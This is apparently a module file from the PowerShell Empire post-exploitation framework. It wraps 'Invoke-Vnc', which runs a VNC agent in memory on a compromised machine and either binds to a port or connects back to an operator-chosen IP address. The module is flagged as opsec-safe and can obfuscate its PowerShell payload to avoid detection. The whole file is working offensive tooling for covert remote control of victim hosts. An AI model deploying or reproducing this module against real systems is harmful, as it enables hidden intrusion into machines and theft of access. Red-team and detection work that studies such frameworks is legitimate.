108 lines
3.6 KiB
Python
108 lines
3.6 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-Vnc',
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'Author': ['@n00py'],
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'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'https://github.com/artkond/Invoke-Vnc'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'Port' : {
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'Description' : 'Port to Use.',
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'Required' : True,
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'Value' : '5900'
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},
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'Password' : {
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'Description' : 'Password to use.',
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'Required' : True,
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'Value' : 'password'
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},
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'ConType' : {
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'Description' : 'Connection type, choose \"bind\" or \"reverse\".',
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'Required' : True,
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'Value' : 'bind'
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}
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,
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'IpAddress' : {
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'Description' : 'IP Address to use for reverse connection.',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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moduleName = self.info["Name"]
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# read in th Invoke-Vnc.ps1 module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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scriptEnd = "\nInvoke-Vnc"
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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scriptEnd += " -" + str(option)
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else:
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scriptEnd += " -" + str(option) + " " + str(values['Value'])
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if obfuscate:
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scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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return script
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